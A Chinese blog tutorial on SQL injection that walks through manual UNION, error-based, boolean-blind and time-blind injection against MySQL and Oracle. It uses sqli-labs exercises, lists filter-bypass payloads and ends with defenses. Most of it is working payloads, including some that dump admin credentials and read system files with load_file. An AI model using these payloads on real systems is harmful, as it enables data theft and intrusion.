SQL注入

发布于:2022-07-28 ⋅ 阅读:(245) ⋅ 点赞:(0)

目录

    一、数据库基础

    二、SQL注入原理

    三、手工注入

    四、多样化SQL注入

一、数据库基础

        -数据库结构:数据库 test--->表 user--->字段 username--->字段值 admin
        -数据库基础命令:
            -查询数据库:show databases;
            -进入数据库:use sqlpeixun;
            -查看数据库中的表:show TABLES;
            -查询表字段值:SELECT * from person;
            -表插入数据:  insert into person(id, name, age, phone, address)
            values (1,'yang',22,'123232323', 'shanghai');
                    insert into person  values (6,'2zhangsan',99,'66666666', 'hefei');
            -表数据值删除:delete from person_2 where id = 4;  删除id为4的
                    delete from person_2;  删除当前表内容
            -表数据值修改:update person set address='hangzhou'; 
                    update person set address='shanghai' where id = 1;
            
            -where子句:
                >,<,=,!=,&&,||
                SELECT * from person where NAME='yang' && age=23;
            
            -LIKE子句:
                百分号 %:匹配任意多个字符
                    SELECT * from person where NAME like '%an';
                下划线 _:匹配固定一个字符
                    SELECT * from person where NAME like '_an';
            
            -IN 子句
                它限制的是一个集合
                    SELECT * from person where address in ('hangzhou');  满足address为hangzhou
                    SELECT * from person where address not in ('hangzhou'); 不满足
            
            ORDER BY 子句
                查询列值
                ASC 默认升序
                DESC 降序排列
                select * from person order by id desc;
                判断列数
                    满足查询的列数时正常输出,当列数不满足时直接报错。
                select * from person ORDER BY 6;
                
            GROUP BY 子句
                查询返回的结果集进行一个分组
                    SELECT address,name from person group by address,name;  查询字段决定排序
                    
            UNION 联合查询
                UNION的结果集列名与UNION运算符中第一个Select语句的结果集的列名相同。另一个Select语句的结果集列名将被忽略。
                union    union all
                    比如select 'a' union select 'a' 输出就是一行 a
                    比如select 'a' union all select 'a' 输出就是两行 a

    二、SQL注入原理

          1、SQL注入:SQL代码带入数据库中执行--->通过动态参数传递。
            www.***.com.cn/home.php?uid=1
                select * from test where uid=1 
                
            www.***.com.cn/home.php?uid=1 or 1=1
                select * from test where uid=1 or 1=1  
                or 只要有一个条件为‘真’时,结果为真。
            
            -注入形成条件:
                用户能够控制数据的输入
                原本要执行的代码,拼接了用户的输入
            
            -注入流程:
                客户端修改参数--->应用--->参数传递到SQL命令中,无过滤--->解析器进行解析(执行语句)--->返回应用(返回到客户端能看到)
            
            -注入危害:
                数据库信息泄露:数据库中存放的用户的隐私信息的泄露。
                网页篡改:通过操作数据库对特定网页进行篡改。
                网站被挂马,传播恶意软件:修改数据库一些字段的值,嵌入网马链接,进行挂马攻击。
                数据库被恶意操作:数据库服务器被攻击,数据库的系统管理员帐户被窜改。
                服务器被远程控制,被安装后门。经由数据库服务器提供的操作系统支持,让黑客得以修改或控制操作系统。
                破坏硬盘数据,瘫痪全系统。
                一些类型的数据库系统能够让SQL指令操作文件系统,这使得SQL注入的危害被进一步放大。
        
        2、注入分类
            -数字型
                参数传递数字
            -字符型
                参数传递字符串
            
        3、注入点位置
            -请求方式:
                GET:直接在地址栏中显示出来的传输传递。
                    
                POST: 通过表单传递的方式,例如:登录,留言,存在输入框的
                
                head头注入:数据包中存在注入点
                    cookie注入、X-Forwarded-For注入、http头注入
            
            -页面回显:
                报错:即有回显的注入,页面会返回错误信息,或者是把注入语句的结果直接返回在页面中
                盲注:
                    布尔:根据返回页面的结果判断构造的SQL条件语句的真假性
                    时间:根据响应时间进行判断SQL条件语句的真假性
                二次注入
                堆叠注入
                宽字节注入
            -常规web与数据库使用搭档:
                access + asp  
                mssql + aspx
                mysql + php   主要讲解。
                oracle + jsp
                


    三、手工注入

         1、步骤思路
            -判断请求方式(GET、POST、http head)--->带入判断语句 ' 或and 1=2
                --->判断闭合方式(' " (' (") --->打破闭合 --->判断输出位置以及列 (order by )
        
        2、mysql数据库攻击
            mysql版本:mysql 5.0之前不能使用information_schema   5.0之后进行的新增
                Information_schema结构包含数据库关键信息
                “SCHEMATA”表,用于存储数据库名,其中的关键字段为SCHEMA_NAME,表示数据库名称。
                “TABLES”表,用于存储表名。其中关键字段TABLE_SCHEMA表示表所属的数据库名称;关键字段TABLE_NAME表示表的名称。
                ”COLUMNS“表,用于存储字段名。其中的关键字段TABLE_SCHEMA表示表所属的数据库名称;字段TABLE_NAME表示所属的表的名称;COLUMN_NAME表示字段名。
                
                LIMIT子句查询指定数据
                SELECT * FROM table LIMIT 0,1
                该句可检索记录行中的第一条数据内容
                SELECT * FROM table LIMIT 1,1
                检索记录行中的第二条数据内容

            1、查询数据库
                SELECT schema_name from information_schema.schemata;
            2、查询数据库表名
                select table_name from information_schema.tables where table_schema='cimer';
                person_2
                person
            3、查询表字段
                select COLUMN_NAME from information_schema.COLUMNS where table_name='cimer';
            4、查询字段内容
                select username from cimer;
            -攻击流程
                1、获取当前漏洞点:GET请求的id
                    and 1=1   and 1=2
                2、判断列数
                    列数为4   因为order by 5时报错
                    select * from article where id=1 order by 5
                3、使用联合查询判断列的位置
                    and 1=2 union select 1,2,3,4
                    select * from article where id=1 and 1=2 union select 1,2,3,4 
                    - 使用load_file查看文件
                    and 1=2 union select 1,load_file('c:\\boot.ini'),3,4
                    and 1=2 union select 1,load_file(0x633A5C626F6F742E696E69),3,4
                4、查询数据库
                    -第一种 LIMIT
                        查询当前数据库
                            and 1=2 union select 1,database(),3,4
                        查询表
                            and 1=2 union select 1,2,TABLE_NAME,4 from information_schema.TABLES where TABLE_SCHEMA=0x63696d6572 limit 0,1  第一个表admin
                            and 1=2 union select 1,2,TABLE_NAME,4 from information_schema.TABLES where TABLE_SCHEMA=0x63696d6572 limit 1,1   更改limit 去变换输出值
                        查询字段
                            and 1=2 union select 1,2,COLUMN_NAME,4 from information_schema.COLUMNS where TABLE_NAME=0x61646d696e limit 0,1
                        查询表字段值
                            and 1=2 union select 1,username,password,4 from admin
                    
                    -第二种 group_concat快速实施mysql攻击
                        查询所有数据库
                            and 1=2 union select 1,group_concat(schema_name),3,4 from information_schema.schemata
                        查询数据库中所有表
                            and 1=2 union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database()
                        查询表字段
                            and 1=2 union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name=0x61646d696e
                            (注:table_schema=16进制编码后的库 table_name=16进制编码后的表)
                        查询字段值
                            and 1=2 union select 1,group_concat(username,0x7c,password),3,4 from admin
            
        3、oracle数据库注入攻击
            1、oracle注入点要经过多个步骤确认。
                - and 1=1 and 1=2
            2、确认oracle数据库需要三步
                -“/*”是 MySQL 中的注释符,返回错误说明该注入点不是 MySQL,
                
                -“--“是 Oracle 和 MsSQL 支持的注释符,如果返回正常,则说明为这两种数据库类型之一。
                
                -“;”是子句查询标示符,Oracle 不支持多行查询,因此如果返回错误,则说明是 oracle 数 据库。
                
                - and exists(select * from dual)或者and (select count(*) from user_tables)>0
                    dual 和 user_tables 是 oracle 中的系统表,如果返回正常页面,
                    则可以确定是 Oracle 的 注入点。
            
            3、确认注入点后与mysql判断列数相同 order by  在使用联合查询 union
            
            4、获取数据库版本信息
                null 占位
                and 1=2 union select null,null,(select banner from sys.v_$version where rownum=1) from dual
            
            5、获取当前数据库连接用户名
                sys用户最高权限
                and 1=2 union select null,null,(select SYS_CONTEXT ('USERENV','CURRENT_USER')from dual) from dual
            
            6、获取log日志路径
                and 1=2 union select null,null,(select member from v$logfile where rownum=1) from dual
            
            7、攻击流程
                - 库   SYS
                    and 1=2 union select null,null,(select owner from all_tables where rownum=1) from dual
                    
                第二个库名
                    and 1=2 union select null,null,(select owner from all_tables where rownum=1 and owner<>'第一个库名') from dual
                
                -表   ACCESS$
                    and 1=2 union select null,null,(select table_name from user_tables where rownum=1) from dual

                    and 1=2 union select null,null,(select table_name from user_tables where rownum=1 and table_name<>'第一个表名') from dual
                    
                    and 1=2 union select null,null,(select table_name from user_tables where rownum=1 and table_name<>'ACCESS$' and table_name<>'ADMIN') from dual
                    

                -表字段   D_OBJ#
                    and 1=2 union select null,null,(select column_name from user_tab_columns where table_name='表名' and rownum=1) from dual
                    
                    and 1=2 union select null,null,(select column_name from user_tab_columns where table_name='ACCESS$' and column_name<>'D_OBJ#' and rownum=1) from dual

                    and 1=2 union select null,null,(select column_name from user_tab_columns where table_name='ADMIN' and column_name<>'ID' and column_name<>'USERNAME' and rownum=1) from dual

                -表字段内容
                    and 1=2 union select null,null,USERNAME from ADMIN

    四、多样化SQL注入

          1、报错注入
            -基于floor()的报错SQL语句:
                and (select 1,count(*),concat(payload),&,floor(rand(0)*2))x from information_schema.columns group by x)a
                
                select count(*),(concat(floor(rand(0)*2),(payload)))x from user group by x;   这个相对固定的语句格式,导致的数据库报错
                
                floor()函数是什么?向下取整
                rand() 函数随机生成
                rand(0)函数固定
                
                select count(*),(concat(floor(rand()*2),(select version()))) x from user group by x;
            
            -基于updatexml的报错
                and updatexml(1,payload,1)
                
                长度进行限制(输出)最长输出32位
                对于返回类型也做了显示,只有payload返回不是xml格式才会生效
            
            -基于ExtractValue的报错
            
                and ExtractValue(1,payload)
                长度进行限制(输出)最长输出32位
        
            -Less-5报错floor解题流程
                1、版本信息
                    ' 报错  and 1=1  正常报错  and 1=2无报错
                    id=1' and 1=2
                    
                    ' union select 1,count(*),concat(version(),0x26,floor(rand(0)*2))x from information_schema.columns group by x;--+
                    ' union select version() from information_schema.columns
                
                2、库   security
                    ' union select 1,count(*),concat(database(),0x26,floor(rand(0)*2))x from information_schema.columns group by x;--+
                
                3、表   users
                    email    ' union select 1,count(*),concat((select table_name from information_schema.tables where table_schema='security' limit 0,1),0x26,floor(rand(0)*2))x from information_schema.columns group by x;--+
                    referers    ' union select 1,count(*),concat((select table_name from information_schema.tables where table_schema='security' limit 1,1),0x26,floor(rand(0)*2))x from information_schema.columns group by x;--+
                
                4、表字段
                    id    ' union select 1,count(*),concat((select column_name from information_schema.columns where table_schema='security' and table_name='emails' limit 0,1),0x26,floor(rand(0)*2))x from information_schema.columns group by x;--+
                
                5、表内容
                    ' union select 1,count(*),concat((select id  from emails limit 0,1),0x26,floor(rand(0)*2))x from information_schema.columns group by x;--+
                
                使用sqlmap进行爆破尝试。
        2、盲注型
            -布尔盲注:有误回显进行判断
                攻击流程步骤:
                    Less-8布尔盲注
                        1、库---库长度   8
                            1' and  length(database())>8--+   无回显代表长度为8
                            1' and  length((select database()))>8--+

                        2、库---报库字段security
                            1' and  ascii(substr(database(),1,1))>114--+     115
                            1' and  ascii(substr(database(),2,1))>100--+     101
                            1' and  ascii(substr(database(),3,1))>98--+      99
                            1' and  ascii(substr(database(),4,1))>116--+     117
                        
                        3、表---表数量   4
                            1' and (select count(table_name) from information_schema.tables where table_schema='security') >3--+
                        
                        4、表---4张表字段
                            第一张表
                            e  1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)) > 100--+
                            m  1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),2,1)) > 100--+
                            第二张表
                            r  1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 1,1),1,1)) > 113--+
                            第三张表
                            u  1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 2,1),1,1)) > 113--+
                        
                        5、表---表字段数量  3
                            1' and (select count(column_name) from information_schema.columns where table_schema='security' and table_name='users') > 1--+
                        
                        6、表---表字段名称
                            1' and ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='emails' limit 0,1),1,1))> 104--+
                        
                        7、表---表内容数量
                            1' and (select count(id) from emails) > 7--+
                        
                        8、表---表内容长度
                            1' and length((select id from emails limit 0,1))>0--+
                            
                        9、表---表内容
                            1' and ascii(substr((select id from emails limit 0,1),1,1)) >48--+
                    
                    使用sqlmap进行爆破尝试。


            
            -时间盲注:有无回显带入sleep函数记性判断。
                Less-9时间盲注攻击流程
                    1、判断能否带入sleep函数,带入后在浏览器中打开F12network响应时间。
                        1' and sleep(3) --+
                        select * from test where id=1' and sleep(3)
                    
                    2、库---库长度   8
                        1' and if(length(database())>7,sleep(3),1)--+  正常  大于8报错原理与布尔盲注相同
                    
                    3、库---报库字段security
                        1' and if(ascii(substr(database(),1,1))>114,sleep(3),1)--+
                    
                    4、表---表数量   4
                        1' and if((select count(table_name) from information_schema.tables where table_schema='security')>3,sleep(3),1)--+
                    
                    5、表---表字段长度
                        1' and if(length((select table_name from information_schema.tables where table_schema='security' limit 0,1))>5,sleep(3),1)--+
                    
                    6、表---表名称
                        1' and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>100,sleep(3),1)--+

                    7、表---表字段数量 3
                        1' and if((select COUNT(column_name) from information_schema.columns where table_schema='security' and table_name='users')>2,sleep(3),1)--+

                    8、表---表字段名称长度
                        1' and if(length((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1))>1,sleep(3),1)--+
                    
                    9、表---字段内容数量
                        1' and if((select count(id) from emails) > 7,sleep(3),1)--+
                        
                    10、表---表字段内容长度
                        1' and if(length((select id from emails limit 0,1))>0,sleep(3),1)--+
                    
                    11、表---表内容
                        1' and if(ascii(substr((select id from emails limit 0,1),1,1)) >48,sleep(3),1)--+
                
                
                使用sqlmap进行爆破尝试。
                
    五、绕过方式
        -/**/绕过空格过滤
            两个空格代替一个空格,用Tab代替空格,%a0=空格:%20 %09 %0a %0b %0c %0d %a0 %00 /**/  /*!*/
            最基本的绕过方法,用注释替换空格: /*  注释 */
            1/**/and 1=2 union select 1,database(),3,4
            1/**/and/**/1=2/**/union/**/select/**/1,database(),3,4
        
        -使用十六进制绕过引号过滤
            and 1=2 union select 1,load_file('c:\\boot.ini'),3,4
            and 1=2 union select 1,load_file(0x633A5C626F6F742E696E69),3,4
            
        -逗号绕过(使用from或者offset)
            对于substr()和mid()这两个方法可以使用from to的方式来解决:
            select substr(database(),1,1) #等价
            select substr(database()from 1 for 1)
            
            使用join
            select * from users union select 1,2,3 limit 14,2 #等价
            select * from users union select * from (select 1)a join (select 2)b join (select 3)c limit 14,2
            
            使用like
            select ascii(mid(user(),1,1))=114 #等价于
            select user() like 'r%'
            
            对于limit可以使用offset来绕过:
            select * from users limit 0,1 #等价于
            select * from users limit 1 offset 0
            
            使用greatest()、least() (前者返回最大值、后者返回最小值)
            select ascii(substr(user(),1,1)) > 100 #等价于
            select greatest(ascii(substr(user(),1,1)),100)=100
        
        -=等号绕过
            使用like 、rlike 、regexp或者 使用< 或者 >
        
        -绕过union、select、where
            1) 使用注释符绕过
               //,-- , /**/, #, --+, -- -, ;,%00,--a
               U/**/ NION /**/ SE/**/ LECT /**/user,pwd from user #用法
            2) 使用大小写绕过
               id=-1'UnIoN/**/SeLeCT
            3)使用内联注释绕过
               id=-1'/*!UnIoN*/ SeLeCT 1,2,concat(/*!table_name*/) FrOM /*information_schema*/.tables /*!WHERE *//*!TaBlE_ScHeMa*/ like database()#
            4)双写绕过
               id=-1'UNIunionONSeLselectECT1,2,3–-
               
        -通用编码绕过
            URLencode、ASCII、hex、unicode等
            -1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'--+
            -1%27%20%75%6e%69%6f%6e%20%73%65%6c%65%63%74%20%31%2c%32%2c%67%72%6f%75%70%5f%63%6f%6e%63%61%74%28%63%6f%6c%75%6d%6e%5f%6e%61%6d%65%29%20%66%72%6f%6d%20%69%6e%66%6f%72%6d%61%74%69%6f%6e%5f%73%63%68%65%6d%61%2e%63%6f%6c%75%6d%6e%73%20%77%68%65%72%65%20%74%61%62%6c%65%5f%73%63%68%65%6d%61%3d%27%73%65%63%75%72%69%74%79%27%20%61%6e%64%20%74%61%62%6c%65%5f%6e%61%6d%65%3d%27%75%73%65%72%73%27--+

        -等价绕过
            hex()、bin() ==> ascii()
            sleep() ==>benchmark()
            concat_ws()==>group_concat()
            mid()、substr() ==> substring()
            @@user ==> user()
            @@datadir ==> datadir()
            举例:substring()和substr()无法使用时:?id=1+and+ascii(lower(mid((select+pwd+from+users+limit+1,1),1,1)))=74 
            或者:substr((select 'password'),1,1) = 0x70 strcmp(left('password',1), 0x69) = 1 strcmp(left('password',1), 0x70) = 0
strcmp(left('password',1), 0x71) = -1

    六、SQL注入的防御
        -安全编码
            安全编码不难,真正困难的是如何做到全面安全,这需要良好的程序设计以及编码习惯。支离破碎的设计与随意混杂的编码难以开发出安全的系统。
            各种语言与数据库的实际情况也有所区别,所以需要具体问题具体分析。
            1、输入验证
             •数字型的输入必须是合法的数字;
             •字符型的输入中对’进行特殊处理;
             •验证所有的输入点,包括Get,Post,Cookie以及其他HTTP头;
            2.使用符合规范的数据库访问语句
             •正确使用静态查询语句,如PreparedStatement
        
        -PHP(magicquotesgpc)
            高版本PHP缺省设置magicquotesgpc为打开,这样一切get,post,cookie中的’,’’,\,null都将被特殊处理为\’,\’’,\,\0,可以防范大多数字符串SQL注入以及前面提到的空字节注入。

            $magic_quotes_runtime = “on”;
$url = urldecode($_REQUEST[‘url’]);
$query = “INSERT INTO tbl_links (type, url) VALUES(1, ‘$url’)”;

            但是在上面的代码示范中,攻击者可以利用%2527绕过这项过滤。原因是服务器首先URL解码将%2527解码为%27,然后经过magicquotesgpc过滤时不做处理,最后在代码处又进行一次urldecode,%27被解码为’,从而绕开了PHP缺省的过滤机制。

        -数据库加固(最小权限原则)
            除了在代码设计开发阶段预防SQL注入外,对数据库进行加固也能够把攻击者所能造成的损失一定范围内;
            主要包括:
             ▪禁止将任何高权限帐户(例如sa,dba等等)用于应用程序数据库访问。更安全的方法是单 独为应用创建有限访问帐户。
             ▪拒绝用户访问敏感的系统存储过程,如前面示例的xpdirtree,xpcmdshell等等;
             ▪限制用户所能够访问的数据库表;


            
        
        


网站公告

今日签到

点亮在社区的每一天
去签到